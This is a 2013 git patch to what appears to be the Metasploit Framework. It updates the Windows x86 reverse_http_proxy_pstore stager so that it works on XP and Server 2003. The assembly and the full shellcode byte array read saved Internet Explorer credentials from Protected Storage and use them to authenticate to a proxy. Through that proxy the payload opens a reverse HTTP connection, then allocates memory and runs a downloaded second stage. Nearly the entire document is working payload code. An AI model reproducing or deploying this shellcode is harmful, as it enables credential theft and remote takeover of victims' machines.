From 83929facc4ed4a2a4efb9b3cabe9fcf34e0dc5d0 Mon Sep 17 00:00:00 2001 From: somename11111 Date: Tue, 6 Aug 2013 20:18:09 +0200 Subject: [PATCH] Fix bug on Windows XP Correct the addresses of functions in pstorec.dll. Successfully tested on Server 2003 and XP. --- ...xy_auth.asm => block_get_pstore_creds.asm} | 50 ++++++++------ ...=> block_reverse_http_use_proxy_creds.asm} | 0 .../stager_reverse_http_proxy_pstore.asm | 4 +- .../windows/reverse_http_proxy_pstore.rb | 66 +++++++++---------- 4 files changed, 64 insertions(+), 56 deletions(-) rename external/source/shellcode/windows/x86/src/block/{block_get_pstore_proxy_auth.asm => block_get_pstore_creds.asm} (81%) mode change 100644 => 100755 rename external/source/shellcode/windows/x86/src/block/{block_reverse_http_use_proxy_auth.asm => block_reverse_http_use_proxy_creds.asm} (100%) diff --git a/external/source/shellcode/windows/x86/src/block/block_get_pstore_proxy_auth.asm b/external/source/shellcode/windows/x86/src/block/block_get_pstore_creds.asm old mode 100644 new mode 100755 similarity index 81% rename from external/source/shellcode/windows/x86/src/block/block_get_pstore_proxy_auth.asm rename to external/source/shellcode/windows/x86/src/block/block_get_pstore_creds.asm index bf98bcc5a4..978272be2c --- a/external/source/shellcode/windows/x86/src/block/block_get_pstore_proxy_auth.asm +++ b/external/source/shellcode/windows/x86/src/block/block_get_pstore_creds.asm @@ -99,10 +99,11 @@ PStore.EnumTypes: ; returns address to EnumPStoreTypes (00942568) in pEnumPSto push edx ; arg1: pEnumPstoreTypes push 0 ; arg2: NULL push 0 ; arg3: NULL - mov eax, [eax] ; load base address of PStore in eax + mov eax, [eax] ; load base address of PStore in eax push eax ; push base address of PStore (this) - mov edx, ebx ; generate function address of IPStore::EnumTypes in pstorec.dll - add edx, 0x00005586 + mov edx, [eax] ; get function address of IPStore::EnumTypes in pstorec.dll + mov edx, [edx+0x38] ;&EnumTypes() = *(*(&PStore)+0x38) + ;add edx, 0x00005586 call edx ; call IPStore::EnumTypes mov edi, 0x5e7e8100 ; Value of pTypeGUID if Password is IE:Password-Protected @@ -118,10 +119,11 @@ EnumPStoreTypes.raw_Next: push 0 ; arg1: NULL push ecx ; arg2: pTypeGUID push 1 ; arg3: 1 - mov edx, [edx] ; load base address of EnumPStoreTypes (00942568) + mov edx, [edx] ; load base address of EnumPStoreTypes (00942568) push edx ; push base address of EnumPStoreTypes (this) - mov edx, ebx ; generate function address of EnumPStoreTypes::raw_Next in pstorec.dll - add edx, 0x00004E4F + mov edx, [edx] ; get function address of EnumPStoreTypes::raw_Next in pstorec.dll + mov edx, [edx+0x0C] ; &RawNext = *(*(*(&EnumPStoreTypes))+0x0C) + ;add edx, 0x00004E4F call edx ; call EnumPStoreTypes::raw_Next mov eax, [esp+8] @@ -149,8 +151,9 @@ PStore.EnumSubtypes: ; returns address to EnumSubtypes () in pEnumSubtypes ( push 0 ; arg4: NULL mov eax, [eax] ; load base address of PStore in eax push eax ; push base address of PStore (this) - mov edx, ebx ; generate function address of IPStore::EnumSubtypes in pstorec.dll - add edx, 0x0000560C + mov edx, [eax] ; get function address of IPStore::EnumSubtypes in pstorec.dll + mov edx, [edx+0x3C] ; &Pstore.EnumSubTypes() = *(*(*(&PStore))+0x3C) + ;add edx, 0x0000560C call edx ; call IPStore::EnumSubtypes EnumSubtypes.raw_Next: @@ -160,11 +163,12 @@ EnumSubtypes.raw_Next: push 0 ; arg1: NULL push edx ; arg2: psubTypeGUID push 1 ; arg3: 1 - mov eax, [eax] ; load base address of EnumSubtypes in eax + mov eax, [eax] ; load base address of EnumSubtypes in eax push eax ; push base address of EnumSubtypes (this) - mov edx, ebx ; generate function address of raw_Next in pstorec.dll - add edx, 0x00004E4F - call edx ; call EnumSubtypes.raw_Next + mov edx, [eax] ; get function address of raw_Next in pstorec.dll + mov edx, [edx+0x0C] ; &(EnumSubtypes.raw_Next) = *(*(&EnumSubtypes)+0x0C) + ;add edx, 0x00004E4F + call edx ; call EnumSubtypes.raw_Next PStore.EnumItems: pop eax ; pop pPstore @@ -181,10 +185,12 @@ PStore.EnumItems: push ecx ; arg3: psubTypeGUID push edx ; arg4: pTyoeGUID push 0 ; arg5: NULL - mov eax, [eax] ; load base address of PStore in eax - push eax ; push base address of PStore (this) - mov edx, ebx ; generate function address of IPStore::Enumitems in pstorec.dll - add edx, 0x000056A0 + mov eax, [eax] ; load base address of PStore in eax + push eax ; push base address of PStore (this) + mov edx, [eax] ; get function address of IPStore::Enumitems in pstorec.dll + ;mov edx, [edx] + mov edx, [edx+0x54] + ;add edx, 0x000056A0 call edx ; call IPStore::Enumitems spEnumItems.raw_Next: @@ -194,10 +200,11 @@ spEnumItems.raw_Next: push 0 ; arg1: NULL push ecx ; arg2: pitemName push 1 ; arg3: 1 - mov eax, [eax] ; load base address of spEnumItems in eax + mov eax, [eax] ; load base address of spEnumItems in eax push eax ; push base addres of spEnumItems (this) - mov edx, ebx ; generate function address of raw_Next in pstorec.dll - add edx, 0x000048D1 + mov edx, [eax] ; get function address of raw_Next in pstorec.dll + mov edx, [edx+0x0C] + ;add edx, 0x000048D1 call edx PStore.ReadItem: @@ -220,8 +227,9 @@ PStore.ReadItem: push 0 ; arg8: NULL mov eax, [eax] ; load base address of PStore in eax push eax ; push base addres of PStore (this) - mov edx, ebx ; generate function address of IPStore::ReadItem in pstorec.dll - add edx, 0x000042B6 + mov edx, [eax] ; get function address of IPStore::ReadItem in pstorec.dll + mov edx, [edx+0x44] + ;add edx, 0x000042B6 call edx split_user_pass: diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_auth.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm similarity index 100% rename from external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_auth.asm rename to external/source/shellcode/windows/x86/src/block/block_reverse_http_use_proxy_creds.asm diff --git a/external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm b/external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm index f039aaa0ad..a3dbd39532 100644 --- a/external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm +++ b/external/source/shellcode/windows/x86/src/stager/stager_reverse_http_proxy_pstore.asm @@ -12,7 +12,7 @@ %include "./src/block/block_api.asm" start: ; pop ebp ; pop off the address of 'api_call' for calling later. -%include "./src/block/block_get_pstore_proxy_auth.asm" -%include "./src/block/block_reverse_http_use_proxy_auth.asm" +%include "./src/block/block_get_pstore_creds.asm" +%include "./src/block/block_reverse_http_use_proxy_creds.asm" ; By here we will have performed the reverse_tcp connection and EDI will be our socket. diff --git a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb index 2df994f5fd..7f256ff57e 100644 --- a/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb +++ b/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb @@ -35,14 +35,14 @@ module Metasploit3 { # Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now) # 'EXITFUNC' => [ 290, 'V' ], - 'LPORT' => [ 568, 'v' ], # Not a typo, really little endian + 'LPORT' => [ 547, 'v' ], # Not a typo, really little endian }, 'Payload' => # Name: stager_reverse_http_proxy_pstore -# Length: 718 bytes -# LEPort Offset: 568 -# ExitFunk Offset: 648 +# Length: 697 bytes +# LEPort Offset: 547 +# ExitFunk Offset: 627 "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" + "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" + "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" + @@ -52,7 +52,7 @@ module Metasploit3 "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" + "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" + "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" + -"\xEB\x16\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x6A\x00" + +"\xEB\x16\x6A\x40\x68\x00\x10\x00\x00\x68\x00\x10\x00\x00\x6A\x00" + "\x68\x58\xA4\x53\xE5\xFF\xD5\xC3\xE8\xE5\xFF\xFF\xFF\x50\xE8\xDF" + "\xFF\xFF\xFF\x50\xE8\xD9\xFF\xFF\xFF\x50\xE8\xD3\xFF\xFF\xFF\x50" + "\xE8\xCD\xFF\xFF\xFF\x50\xE8\xC7\xFF\xFF\xFF\x50\xE8\xC1\xFF\xFF" + @@ -60,34 +60,34 @@ module Metasploit3 "\x65\x63\x00\x68\x70\x73\x74\x6F\x54\x68\x4C\x77\x26\x07\xFF\xD5" + "\x89\xC3\x5A\x5A\x5F\x57\x6A\x00\x6A\x00\x6A\x00\x57\x68\xDB\xBD" + "\x64\x26\xFF\xD5\x58\x5A\x52\x50\x52\x6A\x00\x6A\x00\x8B\x00\x50" + -"\x89\xDA\x81\xC2\x86\x55\x00\x00\xFF\xD2\xBF\x00\x81\x7E\x5E\x58" + -"\x5A\x59\x51\x52\x50\x6A\x00\x51\x6A\x01\x8B\x12\x52\x89\xDA\x81" + -"\xC2\x4F\x4E\x00\x00\xFF\xD2\x8B\x44\x24\x08\x8B\x00\xBA\x00\x00" + -"\x00\x00\x39\xC2\x0F\x84\xC0\x00\x00\x00\x39\xC7\x75\xD1\x58\x5A" + -"\x59\x5F\x57\x51\x52\x50\x57\x6A\x00\x51\x6A\x00\x8B\x00\x50\x89" + -"\xDA\x81\xC2\x0C\x56\x00\x00\xFF\xD2\x8B\x44\x24\x0C\x8B\x54\x24" + -"\x10\x6A\x00\x52\x6A\x01\x8B\x00\x50\x89\xDA\x81\xC2\x4F\x4E\x00" + -"\x00\xFF\xD2\x58\x59\x5A\x52\x51\x50\x8B\x4C\x24\x10\x8B\x7C\x24" + -"\x14\x57\x6A\x00\x51\x52\x6A\x00\x8B\x00\x50\x89\xDA\x81\xC2\xA0" + -"\x56\x00\x00\xFF\xD2\x8B\x44\x24\x14\x8B\x4C\x24\x18\x6A\x00\x51" + -"\x6A\x01\x8B\x00\x50\x89\xDA\x81\xC2\xD1\x48\x00\x00\xFF\xD2\x58" + -"\x50\x6A\x00\x6A\x00\x8B\x4C\x24\x24\x51\x8B\x4C\x24\x2C\x51\x8B" + -"\x4C\x24\x28\x8B\x09\x51\x8B\x4C\x24\x24\x51\x8B\x4C\x24\x20\x51" + -"\x6A\x00\x8B\x00\x50\x89\xDA\x81\xC2\xB6\x42\x00\x00\xFF\xD2\x8B" + -"\x44\x24\x1C\x8B\x00\x50\xB1\x3A\x8A\x10\x38\xD1\x74\x0C\x40\x8A" + -"\x10\x38\xD1\x75\xF9\xC6\x00\x00\x40\x50\x68\x6E\x65\x74\x00\x68" + -"\x77\x69\x6E\x69\x54\x68\x4C\x77\x26\x07\xFF\xD5\x31\xFF\x57\x57" + -"\x57\x57\x6A\x00\x54\x68\x3A\x56\x79\xA7\xFF\xD5\xEB\x4B\x5B\x31" + -"\xFF\x57\x57\x6A\x03\x51\x52\x68\x5C\x11\x00\x00\x53\x50\x68\x57" + -"\x89\x9F\xC6\xFF\xD5\xEB\x34\x59\x31\xD2\x52\x68\x00\x02\x20\x84" + -"\x52\x52\x52\x51\x52\x50\x68\xEB\x55\x2E\x3B\xFF\xD5\x89\xC6\x6A" + -"\x10\x5B\x31\xFF\x57\x57\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5" + -"\x85\xC0\x75\x1A\x4B\x74\x10\xEB\xE9\xEB\x49\xE8\xC7\xFF\xFF\xFF" + -"\x2F\x31\x32\x33\x34\x35\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40" + -"\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5" + -"\xFF\xD5\x93\x53\x53\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68" + -"\x12\x96\x89\xE2\xFF\xD5\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0" + -"\x75\xE5\x58\xC3\x5E\x5E\x5E\x59\x5A\xE8\x60\xFF\xFF\xFF" +"\x8B\x10\x8B\x52\x38\xFF\xD2\xBF\x00\x81\x7E\x5E\x58\x5A\x59\x51" + +"\x52\x50\x6A\x00\x51\x6A\x01\x8B\x12\x52\x8B\x12\x8B\x52\x0C\xFF" + +"\xD2\x8B\x44\x24\x08\x8B\x00\xBA\x00\x00\x00\x00\x39\xC2\x0F\x84" + +"\xB1\x00\x00\x00\x39\xC7\x75\xD4\x58\x5A\x59\x5F\x57\x51\x52\x50" + +"\x57\x6A\x00\x51\x6A\x00\x8B\x00\x50\x8B\x10\x8B\x52\x3C\xFF\xD2" + +"\x8B\x44\x24\x0C\x8B\x54\x24\x10\x6A\x00\x52\x6A\x01\x8B\x00\x50" + +"\x8B\x10\x8B\x52\x0C\xFF\xD2\x58\x59\x5A\x52\x51\x50\x8B\x4C\x24" + +"\x10\x8B\x7C\x24\x14\x57\x6A\x00\x51\x52\x6A\x00\x8B\x00\x50\x8B" + +"\x10\x8B\x52\x54\xFF\xD2\x8B\x44\x24\x14\x8B\x4C\x24\x18\x6A\x00" + +"\x51\x6A\x01\x8B\x00\x50\x8B\x10\x8B\x52\x0C\xFF\xD2\x58\x50\x6A" + +"\x00\x6A\x00\x8B\x4C\x24\x24\x51\x8B\x4C\x24\x2C\x51\x8B\x4C\x24" + +"\x28\x8B\x09\x51\x8B\x4C\x24\x24\x51\x8B\x4C\x24\x20\x51\x6A\x00" + +"\x8B\x00\x50\x8B\x10\x8B\x52\x44\xFF\xD2\x8B\x44\x24\x1C\x8B\x00" + +"\x50\xB1\x3A\x8A\x10\x38\xD1\x74\x0C\x40\x8A\x10\x38\xD1\x75\xF9" + +"\xC6\x00\x00\x40\x50\x68\x6E\x65\x74\x00\x68\x77\x69\x6E\x69\x54" + +"\x68\x4C\x77\x26\x07\xFF\xD5\x31\xFF\x57\x57\x57\x57\x6A\x00\x54" + +"\x68\x3A\x56\x79\xA7\xFF\xD5\xEB\x4B\x5B\x31\xFF\x57\x57\x6A\x03" + +"\x51\x52\x68\x5C\x11\x00\x00\x53\x50\x68\x57\x89\x9F\xC6\xFF\xD5" + +"\xEB\x34\x59\x31\xD2\x52\x68\x00\x02\x20\x84\x52\x52\x52\x51\x52" + +"\x50\x68\xEB\x55\x2E\x3B\xFF\xD5\x89\xC6\x6A\x10\x5B\x31\xFF\x57" + +"\x57\x57\x57\x56\x68\x2D\x06\x18\x7B\xFF\xD5\x85\xC0\x75\x1A\x4B" + +"\x74\x10\xEB\xE9\xEB\x49\xE8\xC7\xFF\xFF\xFF\x2F\x31\x32\x33\x34" + +"\x35\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x40\x68\x00\x10\x00\x00" + +"\x68\x00\x00\x40\x00\x57\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x53" + +"\x89\xE7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xE2\xFF" + +"\xD5\x85\xC0\x74\xCD\x8B\x07\x01\xC3\x85\xC0\x75\xE5\x58\xC3\x5E" + +"\x5E\x5E\x59\x5A\xE8\x60\xFF\xFF\xFF" + }